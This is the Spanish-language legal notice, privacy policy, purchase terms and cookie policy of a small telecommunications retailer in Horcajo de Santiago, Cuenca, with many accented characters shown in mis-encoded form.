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Política de Privacidad, protección de datos y política de cookies

Telecomunicaciones Horcajo de Santiago

AVISO LEGAL 

OBJETO:

La presente p√°gina Web ha sido dise√Īada para dar a conocer los servicios ofertados por la entidad JAIME VALBUENA LOPEZ-SANTACRUZ, con NIF 04579866Z y domicilio en CALLE QUEVEDO, 7, HORCAJO DE SANTIAGO, 16410, CUENCA, ESPA√ĎA; as√≠ como para la recepci√≥n de posibles solicitudes de servicios por parte de clientes, contactos comerciales.

COMUNICACIONES:

Para comunicarse con nosotros, ponemos a su disposición diferentes medios de contacto que detallamos a continuación:

  • Tfno: 969 32 75 03.
  • Email: info@telecomhorcajo.es.
  • Direcci√≥n postal: CALLE QUEVEDO, 7 HORCAJO DE SANTIAGO, 16410, CUENCA, ESPA√ĎA.

Todas las notificaciones y comunicaciones entre los usuarios y JAIME VALBUENA LOPEZ-SANTACRUZ se considerarán eficaces, a todos los efectos, cuando se realicen a través de cualquier medio de los detallados anteriormente.

PROPIEDAD INTELECTUAL E INDUSTRIAL:

Los derechos de propiedad intelectual de la p√°gina www.telecomhorcajo.es, su c√≥digo fuente, dise√Īo, estructuras de navegaci√≥n y los distintos elementos en ella contenidos son titularidad de JAIME VALBUENA LOPEZ-SANTACRUZ, a quien corresponde el ejercicio exclusivo de los derechos de explotaci√≥n de los mismos en cualquier forma y, en especial, los derechos de reproducci√≥n, distribuci√≥n, comunicaci√≥n p√ļblica y transformaci√≥n, de acuerdo con la legislaci√≥n espa√Īola y de la uni√≥n europea aplicable.

El portal de JAIME VALBUENA LOPEZ-SANTACRUZ, las páginas que comprende y la información o elementos contenidos en las mismas, incluyen textos, documentos, fotografías, dibujos, representaciones gráficas, programas informáticos, así como logotipos, marcas, nombres comerciales, u otros signos distintivos, protegidos por derechos de propiedad intelectual o industrial, de los que JAIME VALBUENA LOPEZ-SANTACRUZ son titulares o legítimas licenciatarias.

CONTENIDOS:

Se facilita a trav√©s de esta Web informaci√≥n acerca de servicios destinados a conocimiento p√ļblico que en todo caso se sujetar√°n a los t√©rminos y condiciones expresamente detallados en cada momento y que son accesibles desde esta p√°gina Web, los cuales se sujetar√°n a las distintas disposiciones legales de aplicaci√≥n.

ACCESO Y USO:

Tanto el acceso a esta página Web, como el uso que pueda hacerse de la información y contenidos incluidos en la misma, será de la exclusiva responsabilidad de quien lo realice.

Las condiciones de acceso a este Web estarán sometidas a la legalidad vigente y los principios de la buena fe y uso lícito por parte del usuario de la misma, quedando prohibido con carácter general cualquier tipo de actuación en perjuicio de JAIME VALBUENA LOPEZ-SANTACRUZ.

Se considerar√° terminantemente prohibido el uso de la presente p√°gina Web con fines ilegales o no autorizados.

Queda prohibida cualquier modalidad de explotaci√≥n, incluyendo todo tipo de reproducci√≥n, distribuci√≥n, cesi√≥n a terceros, comunicaci√≥n p√ļblica y transformaci√≥n, mediante cualquier tipo de soporte y medio, de las obras antes referidas, creaciones y signos distintivos sin autorizaci√≥n previa y expresa de sus respectivos titulares. El incumplimiento de esta prohibici√≥n podr√° constituir infracci√≥n sancionable por la legislaci√≥n vigente.

El usuario se compromete expresamente a hacer un uso adecuado de los contenidos y servicios de JAIME VALBUENA LOPEZ-SANTACRUZ y a no emplearlos para, entre otros:

  1. Difundir contenidos delictivos, violentos, pornogr√°ficos, racistas, xen√≥fobos, ofensivos, de apolog√≠a del terrorismo o, en general, contrarios a la ley o al orden p√ļblico.
  2. Introducir en la red virus inform√°ticos o realizar actuaciones susceptibles de alterar, estropear, interrumpir o generar errores o da√Īos en los documentos electr√≥nicos, datos o sistemas f√≠sicos y l√≥gicos de JAIME VALBUENA LOPEZ-SANTACRUZ o de terceras personas; as√≠ como obstaculizar el acceso de otros usuarios al sitio web y a sus servicios mediante el consumo masivo de los recursos inform√°ticos a trav√©s de los cuales JAIME VALBUENA LOPEZ-SANTACRUZ presta sus servicios.
  3. Intentar acceder a las cuentas de correo electrónico de otros usuarios o a áreas restringidas de los sistemas informáticos de JAIME VALBUENA LOPEZ-SANTACRUZ o de terceros y, en su caso, extraer información.
  4. Vulnerar los derechos de propiedad intelectual o industrial, así como violar la confidencialidad de la información de JAIME VALBUENA LOPEZ-SANTACRUZ o de terceros.
  5. Suplantar la identidad de cualquier otro usuario.
  6. Reproducir, copiar, distribuir, poner a disposici√≥n de, o cualquier otra forma de comunicaci√≥n p√ļblica, transformar o modificar los contenidos, a menos que se cuente con la autorizaci√≥n del titular de los correspondientes derechos o ello resulte legalmente permitido.
  7. Recabar datos con finalidad publicitaria y de remitir publicidad de cualquier clase y comunicaciones con fines de venta u otras de naturaleza comercial sin que medie su previa solicitud o consentimiento.

No obstante, por su cuenta y riesgo, el usuario podr√° descargar o realizar copia de tales elementos exclusivamente para su uso personal, siempre que no infrinja ninguno de los derechos de propiedad intelectual o industrial de JAIME VALBUENA LOPEZ-SANTACRUZ, ni los altere total o parcialmente. En ning√ļn caso, ello significar√° una autorizaci√≥n o licencia sobre los derechos de propiedad de JAIME VALBUENA LOPEZ-SANTACRUZ.

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SERVICIO:

JAIME VALBUENA LOPEZ-SANTACRUZ se reserva el derecho de suspender el acceso a su página Web, sin previo aviso, de forma discrecional y temporal, por razones técnicas o de cualquier otra índole, pudiendo asimismo modificar unilateralmente tanto las condiciones de acceso, como la totalidad o parte de los contenidos en ella incluidos.

 GENERALES:

¬†Para toda cuesti√≥n litigiosa o que incumba a la P√°gina Web de JAIME VALBUENA LOPEZ-SANTACRUZ, ser√° de aplicaci√≥n la legislaci√≥n espa√Īola, siendo competentes para la resoluci√≥n de todos los conflictos derivados o relacionados con el uso de esta p√°gina Web, los Juzgados y Tribunales del domicilio del usuario. El acceso a la p√°gina Web de JAIME VALBUENA LOPEZ-SANTACRUZ implica la aceptaci√≥n de todas las condiciones anteriormente expresadas.

¬†PROCEDIMIENTO EN CASO DE REALIZACI√ďN DE ACTIVIDADES DE CAR√ĀCTER IL√ćCITO:

 En el caso de que cualquier usuario o un tercero considere que existen hechos o circunstancias que revelen el carácter ilícito de la utilización de cualquier contenido y/o de la realización de cualquier actividad en las páginas web incluidas o accesibles a través del sitio web, deberá enviar una notificación a JAIME VALBUENA LOPEZ-SANTACRUZ identificándose debidamente y especificando las supuestas infracciones.

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POL√ćTICA¬†DE PRIVACIDAD Y PROTECCI√ďN DE DATOS.

 

Información Básica sobre Protección de datos

Responsable:

JAIME VALBUENA LOPEZ-SANTACRUZ

Finalidad:

Atender su solicitud.

Legitimación:

Ejecución de un contrato y consentimiento del interesado.

Destinatarios:

No se cederán datos a terceros, salvo obligación legal.

Derechos:

Tiene derecho a acceder, rectificar y suprimir los datos, as√≠ como otros derechos, indicados en la informaci√≥n adicional, que puede ejercer dirigi√©ndose a CALLE QUEVEDO, 7 HORCAJO DE SANTIAGO, 16410, CUENCA, ESPA√ĎA.

 

 GENERAL:

 A los efectos de lo previsto en el Reglamento Europeo de Protección de Datos UE 2016/679, de 27 de Abril, del Parlamento y el Consejo, en la Ley 3/2018, de 5 de Diciembre, de Protección de Datos y Garantía de los Derechos Digitales y resto de la normativa nacional vigente, JAIME VALBUENA LOPEZ-SANTACRUZ, le informa que cumple íntegramente con la legislación vigente en materia de protección de datos de carácter personal, y con los compromisos de confidencialidad propios de su actividad.

 JAIME VALBUENA LOPEZ-SANTACRUZ pone en su conocimiento la  existencia de un sistema de tratamiento de la información, titularidad de JAIME VALBUENA LOPEZ-SANTACRUZ, para las finalidades propias de gestión, comunicación e información. El citado sistema se encuentra descrito en el correspondiente Registro de Actividades de Tratamiento del RT.

 MEDIDAS Y NIVELES DE SEGURIDAD:

¬†JAIME VALBUENA LOPEZ-SANTACRUZ ha adoptado las medidas necesarias para garantizar la seguridad de la informaci√≥n, tal y como exige el art. 32 del RGPD, seg√ļn la naturaleza de los datos personales tratados y las circunstancias del tratamiento, con el objeto de evitar, en la medida de lo posible y siempre seg√ļn el estado de la t√©cnica, su alteraci√≥n, p√©rdida, tratamiento o acceso no autorizado, garantizando con ello la confidencialidad, integridad y disponibilidad de los mismos.

¬†√ĀMBITO¬†DE¬†APLICACI√ďN:

 Las medidas de seguridad que JAIME VALBUENA LOPEZ-SANTACRUZ tenga descritas en el Registro de Actividades de Tratamiento serán aplicadas al conjunto de activos del sistema de tratamiento de la información en el que se traten los datos de carácter personal, con el objeto de dar cumplimiento a la legislación vigente en materia de protección de datos.

 Todo el personal contratado por JAIME VALBUENA LOPEZ-SANTACRUZ y sus Encargados de Tratamiento, están obligados al cumplimiento de la citada normativa, con especial atención en lo relativo a sus funciones y obligaciones, incluido el deber de secreto que serán debidamente determinadas por JAIME VALBUENA LOPEZ-SANTACRUZ.

 RECOGIDA DE DATOS:

 La aceptación de las presentes condiciones, precisa del usuario la recogida de unos datos imprescindibles para la prestación de sus servicios, que le serán solicitados personalmente a través de formularios o de la página Web. En el momento de la recogida de los datos, el usuario será debidamente informado de los derechos que le asisten.

 Para que la información que contiene nuestro sistema de tratamiento esté siempre actualizada y no contenga errores, pedimos a nuestros clientes y usuarios que nos comuniquen, a la mayor brevedad posible, las modificaciones y rectificaciones de sus datos de carácter personal.

 EJERCICIO DE DERECHOS:

¬†Para ejercitar los Derechos de acceso, impugnaci√≥n, rectificaci√≥n, cancelaci√≥n, supresi√≥n u oposici√≥n, portabilidad, limitaci√≥n del tratamiento, deber√°n dirigirse a JAIME VALBUENA LOPEZ-SANTACRUZ, con domicilio CALLE QUEVEDO, 7 HORCAJO DE SANTIAGO, 16410, CUENCA, ESPA√ĎA, mediante comunicaci√≥n por escrito o mediante correo electr√≥nico a la direcci√≥n info@telecomhorcajo.es. Tambi√©n puede presentar reclamaci√≥n ante la AEPD.

 CONSENTIMIENTO:

 El usuario prestará su consentimiento para que JAIME VALBUENA LOPEZ-SANTACRUZ pueda hacer uso de sus datos personales a fin de prestar un correcto cumplimiento de los servicios contratados.

 La cumplimentación del formulario incluido en el sitio o el envío de correos electrónicos u otras comunicaciones a JAIME VALBUENA LOPEZ-SANTACRUZ, implica el consentimiento expreso del usuario a la inclusión de sus datos de carácter personal en el referido sistema de tratamiento, titularidad de JAIME VALBUENA LOPEZ-SANTACRUZ.

 Al tiempo de la petición de esta información, se comunicará al cliente o usuario del destinatario de la información, de la finalidad para la cual se recogen los datos, de la identidad y dirección de JAIME VALBUENA LOPEZ-SANTACRUZ y de la facultad del usuario de ejercitar los derechos de acceso, impugnación, rectificación, cancelación, supresión u oposición, portabilidad, limitación del tratamiento y a presentar reclamación ante la AEPD.

¬†CESI√ďN¬†A TERCEROS:

 JAIME VALBUENA LOPEZ-SANTACRUZ no cede datos de carácter personal sin el consentimiento expreso de sus titulares, que deberá ser concedido en cada ocasión, siendo sólo cedidos con la finalidad expresada y siempre con el consentimiento del usuario o cliente.

 CONFIDENCIALIDAD Y SECRETO PROFESIONAL:

 Los datos recogidos en todas las comunicaciones privadas entre JAIME VALBUENA LOPEZ-SANTACRUZ y los clientes o usuarios serán tratados con absoluta confidencialidad, comprometiéndose JAIME VALBUENA LOPEZ-SANTACRUZ a la obligación de secreto de los datos de carácter personal, a su deber de guardarlos y adoptar todas las medidas necesarias que eviten su alteración, pérdida y tratamiento o acceso no autorizado, de acuerdo con lo establecido en la normativa vigente.

 Además, también tendrá la condición de confidencial la información de cualquier tipo que las partes intercambien entre sí, aquella que estas acuerden que tiene tal naturaleza, o la que simplemente verse sobre el contenido de dicha información. La visualización de datos a través de Internet, no supondrá el acceso directo a los mismos, salvo consentimiento expreso de su titular para cada ocasión.

¬†Recomendamos al cliente que no facilite a tercero alguno su identificaci√≥n, contrase√Īa o n√ļmeros de referencia que JAIME VALBUENA LOPEZ-SANTACRUZ pudiera proporcionarle. Asimismo, para garantizar que la protecci√≥n del secreto profesional entre JAIME VALBUENA LOPEZ-SANTACRUZ y el cliente se preserve en todas las comunicaciones, el cliente/usuario no debe revelar la informaci√≥n confidencial a terceros.

¬†CAMBIOS¬†EN LA POL√ćTICA DE SEGURIDAD Y DE PROTECCI√ďN DE DATOS:

 JAIME VALBUENA LOPEZ-SANTACRUZ se reserva el derecho de modificar su política de seguridad y protección de datos con el objeto de adaptarlo a las novedades legislativas o jurisprudenciales, así como las que pudieran derivarse de códigos tipo existentes en la materia, o por decisiones corporativas estratégicas, con efectos de la fecha de publicación de dicha modificación en la página Web de JAIME VALBUENA LOPEZ-SANTACRUZ.

¬†DIRECCI√ďN¬†DE¬†CONTACTO:

 El sitio Web www.telecomhorcajo.es, es gestionado por JAIME VALBUENA LOPEZ-SANTACRUZ, y con NIF 04579866Z.

¬†El sistema de tratamiento de la informaci√≥n creado, est√° ubicado en el domicilio social, el cual queda establecido a los efectos del presente Aviso Legal, en CALLE QUEVEDO, 7 HORCAJO DE SANTIAGO, 16410, CUENCA, ESPA√ĎA; bajo la supervisi√≥n y control de JAIME VALBUENA LOPEZ-SANTACRUZ, quien asume la responsabilidad en la adopci√≥n de medidas de seguridad de √≠ndole t√©cnica y organizativa para proteger la confidencialidad e integridad de la informaci√≥n, de acuerdo con lo establecido en el Reglamento Europeo de Protecci√≥n de Datos UE 2016/679, de 27 de Abril, del Parlamento y el Consejo; la Ley Org√°nica 3/2018, de 5 de Diciembre, de Protecci√≥n de Datos y Garant√≠a de los Derechos Digitales y resto de la normativa nacional vigente y dem√°s legislaci√≥n aplicable.

 JAIME VALBUENA LOPEZ-SANTACRUZ a tenor de la Ley 34/2002, de Servicios de la Sociedad de la Información y del Comercio Electrónico, les comunica que la acepción amplia de dicha Ley, engloba entre estos servicios el suministro de información por dicho medio. En todo caso, será de aplicación a este respecto, el Reglamento Europeo de Protección de Datos UE 2016/679, de 27 de Abril del Parlamento y el Consejo; la Ley Orgánica 3/2018, de 5 de Diciembre, de Protección de Datos y Garantía de los Derechos Digitales y resto de la normativa nacional vigente y su normativa de desarrollo, en especial, en lo que se refiere a la obtención de datos personales, la información a los interesados y la creación y mantenimiento de tratamientos de datos personales.

¬†CONDICIONES GENERALES DE CONTRATACI√ďN

 WEB: www.telecomhorcajo.es

RAZ√ďN SOCIAL: JAIME VALBUENA LOPEZ-SANTACRUZ

¬†1.-INFORMACI√ďN GENERAL

La titularidad de este sitio web, www.telecomhorcajo.es: JAIME VALBUENA LOPEZ-SANTACRUZ, provista con NIF: 04579866Z; cuyos datos de contacto son:

  • Direcci√≥n: CALLE QUEVEDO, 7 HORCAJO DE SANTIAGO, 16410, CUENCA, ESPA√ĎA.
  • Tel√©fono de contacto: 969 32 75 03.
  • Email: info@telecomhorcajo.es.

El presente documento regula las Condiciones de Contratación por la que se rige este sitio web www.telecomhorcajo.es para la adquisición de los productos ofertados. Además de tener en cuenta las presentes Condiciones, preste atención a nuestro Aviso Legal, Política de Cookies y nuestra Política de Privacidad antes de acceder, navegar y/o usar esta página web.

A efectos de estas Condiciones, la actividad que JAIME VALBUENA LOPEZ-SANTACRUZ desarrolla es:

El acceso, navegación y uso de www.telecomhorcajo.es, confiere la condición de Usuario, por lo que se aceptan, desde que se inicia la navegación por www.telecomhorcajo.es, todas las Condiciones que se encuentran establecidas, así como sus ulteriores modificaciones, sin perjuicio de la aplicación de las correspondientes disposiciones legales de obligado cumplimiento.

El usuario asume la responsabilidad de un uso correcto en www.telecomhorcajo.es. Esta responsabilidad se extender√° a:

  • Hacer un uso adecuado de www.telecomhorcajo.es para realizar consultas y compras de productos legalmente v√°lidas.
  • No realizar ninguna compra falsa o fraudulenta. Si TELECOMUNICACIONES HORCAJO considera cualquier operaci√≥n de dicha √≠ndole, podr√≠a ser anulada e informando a las autoridades pertinentes.
  • Facilitar datos veraces y l√≠citos.

El Usuario declara ser mayor de 18 a√Īos y tener capacidad legal para celebrar contratos a trav√©s de www.telecomhorcajo.es.

TELECOMUNICACIONES HORCAJO se dirige principalmente a Usuarios residentes en Espa√Īa. JAIME VALBUENA LOPEZ-SANTACRUZ no asegura que www.telecomhorcajo.es cumpla con legislaciones de otros pa√≠ses, ya sea total o parcialmente. JAIME VALBUENA LOPEZ-SANTACRUZ declina toda responsabilidad que derive de dicho acceso, as√≠ como tampoco asegura env√≠os fuera de Espa√Īa.

¬†3.-PROCESO DE COMPRA O ADQUISICI√ďN

Para realizar cualquier compra en www.telecomhorcajo.es, es necesario que el Usuario sea mayor de edad.

Los Usuarios debidamente registrados en www.telecomhorcajo.es deberán seguir el procedimiento de compra y/o adquisición online establecidos por TELECOMUNICACIONES HORCAJO.

Los pasos a seguir para realizar la compra de productos son:

  1. Acceder a la parte superior del sitio web y clicar en el apartado de tienda online.
  2. Hacer scroll y visualizar todos los productos disponibles.
  3. Clicar en el producto deseado.
  4. Leer las especificaciones del producto, seleccionar el n√ļmero de unidades que se desea adquirir y clicar en comprar.
  5. Seguir comprando o en caso de finalizar la compra clicar en ver carrito y as√≠, comprobar que est√°n a√Īadidos todos los productos deseados.
  6. Clicar en finalizar compra.
  7. Cumplimentar los datos mínimos necesarios para la tramitación del pedido.
  8. Seleccionar el método de pago.
  9. Leer y aceptar los Términos Generales de Contratación
  10. Clicar en pagar.

El Usuario deberá rellenar y comprobar la información en cada uno de los pasos y podrán ser modificados los datos solicitados antes de realizar el pago, si no es posible la modificación póngase en contacto comentándonos la incidencia surgida.

Seguidamente, el usuario recibirá un comprobante o confirmación de la operación realizada mediante el correo electrónico facilitado a TELECOMUNICACIONES HORCAJO.

 4.-DISPONIBILIDAD

Todos los productos mostrados www.telecomhorcajo.es están sujetos a la disponibilidad en el momento de la consulta de la página web, se mantendrá constantemente actualizada la disponibilidad de los mismos, mostrando así las unidades disponibles de la forma más veraz posible en TELECOMUNICACIONES HORCAJO.

Si se produjeran dificultades en cuanto al suministro de productos o no quedaran productos en stock, TELECOMUNICACIONES HORCAJO se compromete a contactar con el usuario y reembolsar la cantidad que hubiera sido abonada en concepto de importe.

En el caso de no disponer stock o existencias, podrá ponerse en contacto con TELECOMUNICACIONES HORCAJO para solicitar información de la disponibilidad de los productos interesados.

 5.-PRECIOS Y PAGO

Los precios exhibidos en www.telecomhorcajo.es son los finales, en Euros (‚ā¨) e incluyen los impuestos salvo que, por exigencia legal, especialmente en los relativos al IVA.

No obstante, y salvo que se indique lo contrario, los precios de los art√≠culos ofrecidos excluyen los gastos de env√≠o que pudiera incurrir, que ser√°n a√Īadidos ¬†al importe total en el debido momento de gestionar el procedimiento de env√≠o por parte del Usuario, y donde √©ste consultar√° las diferentes v√≠as de entrega y los constes que suponen cada una de ellas, por lo que el Usuario podr√° elegir libremente la que m√°s le convenga.

En ning√ļn caso TELECOMUNICACIONES HORCAJO a√Īadir√° ning√ļn coste adicional al precio de los productos contratados de forma autom√°tica, sino solo aquellos que el Usuario haya seleccionado y elegido voluntaria y libremente.

Los precios pueden cambiar en cualquier momento, pero los cambios reflejados no afectar√°n a los pedidos o compras que el Usuario haya realizado, tenga el comprobante y no se haya completado.

Ponemos a su disposición diferentes formas de pago:

  1. Por tarjeta de crédito o débito

Puede realizar el pago de forma inmediata a trav√©s de la pasarela de pago seguro SSL de nuestro Banco. Si fuera necesario realizar cualquier devoluci√≥n o cancelaci√≥n del pedido, el importe se reembolsar√° a trav√©s de la misma tarjeta de pago. Las tarjetas de cr√©dito estar√°n sujetas a comprobaciones y autorizaciones por parte de la entidad bancaria emisora de las mismas, TELECOMUNICACIONES HORCAJO no ser√° responsable de ning√ļn retraso o falta de entrega debido a este motivo.

Al hacer clic en ¬ęAutorizar Pago¬Ľ o ‚ÄúConfirmar Pago‚ÄĚ el Usuario garantiza que la tarjeta de cr√©dito es suya o que es el leg√≠timo poseedor de la tarjeta regalo o de la tarjeta abono

  1. Por Transferencia bancaria

Mediante ingreso en efectivo o transferencia bancaria a favor de la entidad y n√ļmero de cuenta de TELECOMUNICACIONES HORCAJO, que estar√° disponible en el momento de realizar el pago si se marca esta opci√≥n. Indicando en el momento de realizar la transferencia el nombre del cliente y n√ļmero de pedido. Los pedidos realizados por esta v√≠a ser√°n reservados durante 5 d√≠as naturales a partir de la confirmaci√≥n del pedido, una vez recibido el pago se gestionar√° y preparar√° para su env√≠o, si no se realiza en ese periodo se cancelar√° el mismo.

El Usuario deber√° de asegurarse de que introduce correctamente los datos para el pago de los productos, en caso de error TELECOMUNICACIONES HORCAJO no podr√° validar el pedido y ser√° anulado.

 6.-ENTREGA

En los casos en los que proceda a realizar la entrega de forma física del bien contratado, las entregas se llevarán a cabo en el siguiente territorio: NACIONAL.

Exceptuando aquellos casos en los que se dé alguna circunstancia imprevista o extraordinaria o, derivadas de la personalización de los productos, intentaremos enviar el pedido de productos relacionados en cada Confirmación de Envío antes de la fecha de entrega que figura en la Confirmación de Envío en cuestión o bien, si no se especificase ninguna fecha de entrega, en el plazo estimado indicado al seleccionar el método de envío y, en todo caso, en el plazo máximo de 30 días a contar desde la fecha de la Confirmación de Pedido.

Si por alg√ļn motivo, que le fuera imputable, TELECOMUNICACIONES HORCAJO no pudiera cumplir con la fecha de entrega, contactar√° con el Usuario para informarle de esta circunstancia y, √©ste podr√° elegir seguir adelante con la compra estableciendo una nueva fecha de entrega, cambiar la direcci√≥n de entrega o anular el pedido con el correspondiente reembolso.

En el caso de que resultase imposible hacer la entrega del pedido efectiva por ausencia del Usuario, el pedido podría ser devuelto al almacén. No obstante, el transportista dejará un aviso explicando el día y la hora del intento de entrega y donde se encuentra el pedido y cómo hacer para que se entregue de nuevo. Si por cualquier incidente el Usuario no va estar en el domicilio designado, póngase en contacto con TELECOMUNICACIONES HORCAJO para cambiar el domicilio o posponer la entrega.

Si por cualquier circunstancia, transcurren 30 días desde que el pedido esté disponible para su entrega y no haya sido entregado por alguna causa no imputable a TELECOMUNICACIONES HORCAJO, se entenderá que el Usuario desea desistir del contrato y éste se considerará resuelto. Como consecuencia de la resolución del contrato, se devolverán todos los pagos realizados por el Usuario, descontando aquellos gastos adicionales ocasionados.

A efectos de las presentes Condiciones, se entenderá que se ha producido la entrega o que el pedido ha sido entregado en el momento en el que el Usuario o un tercero indicado por este, adquiera la posesión material de los productos, lo que se acreditará mediante la firma de la recepción del pedido en la dirección definida por el Usuario.

¬†7.-MEDIOS T√ČCNICOS PARA CORREGIR ERRORES

En el caso de que el Usuario detecte que se ha producido un error al introducir datos necesarios para procesar la solicitud de compra en www.telecomhorcajo.es, podrá modificar los mismos poniéndose en contacto con TELECOMUNICACIONES HORCAJO a través de aquellos medios habilitados para contactar con el servicio de atención al cliente.

Además, dicha información podrá ser modificada por el propio Usuario en su apartado o área personal.

De igual forma, se remite al Usuario a consultar el Aviso Legal y Condiciones de Contrataci√≥n de uso para recabar m√°s informaci√≥n consultar sobre como ejercer el Derecho de Rectificaci√≥n seg√ļn lo establecido en la Ley Org√°nica 3/2018, de 5 de diciembre, de Protecci√≥n de Datos y Garant√≠a de los Derechos Digitales.

 8.-DEVOLUCIONES

En los casos en los que el Usuario adquiera productos en o través de www.telecomhorcajo.es, le asisten una serie de derechos:

  • Derecho de Desistimiento

El Usuario, conforme al art√≠culo 68 y 102 del Real Decreto Legislativo 1/2007, de 16 de noviembre, por el que se aprueba la Ley General para la Defensa de consumidores y Usuarios, tiene derecho a desistir, con un plazo m√≠nimo de 14 d√≠as naturales sin necesidad de justificaci√≥n. en el caso de que los bienes que forman el pedido se entreguen por separado, a los 14 d√≠as naturales del d√≠a que el Usuario o un tercero recibi√≥ el √ļltimo de los bienes que compon√≠an un mismo.

El Usuario reconoce saber las excepciones al derecho de desistimiento, tal y como se recoge en el artículo 103 del Real Decreto Legislativo 1/2007, de 16 de noviembre, por el que se aprueba la Ley General para la Defensa de consumidores y Usuarios:

  • El suministro de bienes que puedan deteriorarse o caducar con rapidez.
  • El suministro de bienes precintados que no sean aptos para ser devueltos por razones de protecci√≥n de la salud o de higiene y que hayan sido desprecintados tras la entrega.

Asimismo, se debe devolver los productos usando o incluyendo todos sus envoltorios originales, las instrucciones y dem√°s documentaci√≥n que le acompa√Īan adem√°s de una copia de la factura de compra.

  • Devoluci√≥n de productos defectuosos o error de env√≠o

Nos referimos a todos aquellos casos en los que el Usuario considera que, en el momento de la entrega, el producto no se ajusta a lo estipulado en el contrato o pedido de compra, y que, por tanto, deber√° ponerse en contacto con TELECOMUNICACIONES HORCAJO inmediatamente y hacerle saber la disconformidad existente (defecto/error) por los mismos medios o utilizando los datos de contacto que se facilitan en el apartado anterior.

El Usuario será entonces informado sobre cómo proceder en los casos de la devolución de los productos, y estos, una vez devueltos, serán examinados y se le informará al Usuario, dentro de un plazo razonable, si procede el reembolso o, en su caso a la sustitución del mismo.

El reembolso o la sustitución del producto se efectuará lo antes posible y, en cualquier caso, dentro de los 14 días siguientes a la fecha en la que le enviemos un email confirmando la devolución del importe, o sustitución del producto.

Las cantidades pagadas por aquellos productos que sean devueltos a causa de alguna tara o defecto, cuando realmente exista, le serán reembolsadas íntegramente, incluidos los gastos de entrega incurridos para entregarle el artículo y los costes en que al Usuario hubiera incurrido para devolvérnoslo a nosotros. La devolución se efectuará en el mismo medio de pago que se utilizó para pagar la compra.

¬†9.-EXONERACI√ďN DE RESPONSABILIDAD

Salvo disposición legal contraria, TELECOMUNICACIONES HORCAJO no aceptará ninguna responsabilidad por las siguientes pérdidas, con independencia de su origen:

  • Cualquier p√©rdida que no sea atribuibles a incumplimiento alguno por su parte.
  • Perdidas empresariales.
  • Perdidas indirectas que no fueran razonablemente previsible por ambas partes en el momento que se formalizo el contrato de compraventa.

Igualmente, TELECOMUNICACIONES HORCAJO solo limita su responsabilidad a los siguientes casos:

  • TELECOMUNICACIONES HORCAJO aplica todas sus medidas para proporcionar una imagen fiel del producto en www.telecomhorcajo.es, sin embargo, no se responsabiliza por las m√≠nimas diferencias o inexactitudes que puedan existir debido a la falta de resoluci√≥n de la pantalla, o problemas con el navegador que se utilice.
  • TELECOMUNICACIONES HORCAJO actuara con la m√°xima diligencia a efectos de poner a disposici√≥n de la empresa encargada del transporte del producto del pedido de compra. Sin embargo, no se responsabiliza por perjuicios provenientes de un mal funcionamiento del transporte, especialmente de huelgas, retenciones de carreteras, y en general cualquiera otras propias del sector, que deriven en retrasos, p√©rdidas o hurtos del producto.
  • Fallos t√©cnicos que por causas fortuitas o de otra √≠ndole, impidan un normal funcionamiento del servicio a trav√©s de internet. Falta de disponibilidad en www.telecomhorcajo.es por razones de mantenimiento u otras, que impidan disponer del servicio. TELECOMUNICACIONES HORCAJO pone todos los medios a su alcance a efectos de llevar a cabo el proceso de compra completo de los productos, no obstante, se exime de responsabilidad por causas que no le sean imputables, caso fortuito o fuerza mayor.
  • TELECOMUNICACIONES HORCAJO no se har√° responsable del mal uso y/o desgaste de los productos que hayan sido utilizaos por el Usuario. Al mismo tiempo, TELECOMUNICACIONES HORCAJO tampoco se har√° responsable de una devoluci√≥n err√≥nea realizada por el Usuario.
  • En general, TELECOMUNICACIONES HORCAJO no se responsabilizar√° por incumplimiento o retraso en el cumplimiento de algunas de las obligaciones asumidas, cuando el mismo se deba a acontecimientos que est√°n fuera de nuestro control razonable, es decir, que se deban a causas de fuerza mayor.

 10.- NULIDAD

Si algunas de las presentes Condiciones fueran declaradas nulas y sin efectos por resolución firme dictada por autoridad competente, el resto de las cláusulas permanecerán en vigor, sin que queden afectadas por dicha declaración de nulidad.

¬†11.- PROTECCI√ďN DE DATOS

La información o datos de carácter personal que el Usuario facilite a TELECOMUNICACIONES HORCAJO en el curso de una transacción en www.telecomhorcajo.es, serán tratados con arreglo a lo establecido en la Política de Privacidad, Condiciones Generales y Aviso Legal. Al acceder, navegar y/o usar www.telecomhorcajo.es el usuario consiente el tratamiento de dicha información y datos y declara que toda la información o datos que facilitan son veraces.

¬†12.-LEGISLACI√ďN APLICABLE

El acceso, navegaci√≥n y/o uso de www.telecomhorcajo.es y los contratos de compra de productos a trav√©s de la misma se regir√°n por la legislaci√≥n espa√Īola.

Cualquier controversia, problema o desacuerdo que surja o est√© relacionado con el acceso, navegaci√≥n y/o uso de www.telecomhorcajo.es o con la interpretaci√≥n y ejecuci√≥n de estas Condiciones, o con los contratos producidos entre el Usuario y TELECOMUNICACIONES HORCAJO, ser√° sometida a la jurisdicci√≥n no exclusiva de los juzgados y tribunales espa√Īoles.

¬†13.-RECLAMACI√ďN Y QUEJAS

El Usuario puede hacer llegar a TELECOMUNICACIONES HORCAJO sus quejas, reclamaciones o todo tipo de comentario que desee realizar a través de los datos de contacto que se facilitan al principio de estas Condiciones Generales.

Adem√°s, TELECOMUNICACIONES HORCAJO dispone de unos formularios de devoluciones y reclamaciones para cualquier disconformidad que tuviera el Usuario.

¬†POL√ćTICA DE COOKIES

 JAIME VALBUENA LOPEZ-SANTACRUZ comunica a los usuarios, a través de este aviso, que puede utilizar cookies cuando el usuario navega por las diferentes pantallas y páginas del sitio.

 Durante el uso de nuestra página Web usted acepta y autoriza expresamente el uso de cookies, de acuerdo con nuestra Política de Privacidad.

¬†¬ŅQu√© son las cookies?

¬†Una cookie es un archivo de texto muy peque√Īo que un servidor Web puede guardar en el navegador de un equipo para almacenar alg√ļn tipo de informaci√≥n sobre el usuario. La cookie identifica el equipo de forma √ļnica, y s√≥lo puede ser le√≠da por el sitio Web que lo envi√≥ al equipo.

 Una cookie no es un archivo ejecutable ni un programa y por lo tanto no puede propagar o contener un virus u otro software malicioso, ni puede tener una longitud superior a 4.000 caracteres.

¬†¬ŅPara qu√© sirven las cookies?

 La utilización de las cookies tiene como finalidad recordar las preferencias del usuario (idioma, país, inicio de sesión, características de su navegador, información de uso de nuestra Web, etc.)

Recordando sus preferencias no tendremos que, por ejemplo, preguntarle por su país cada vez que visite nuestra Web. Sabremos las características Sistema Operativo y el navegador del dispositivo que se está usando y así podremos ofrecerle una mejor experiencia de navegación.

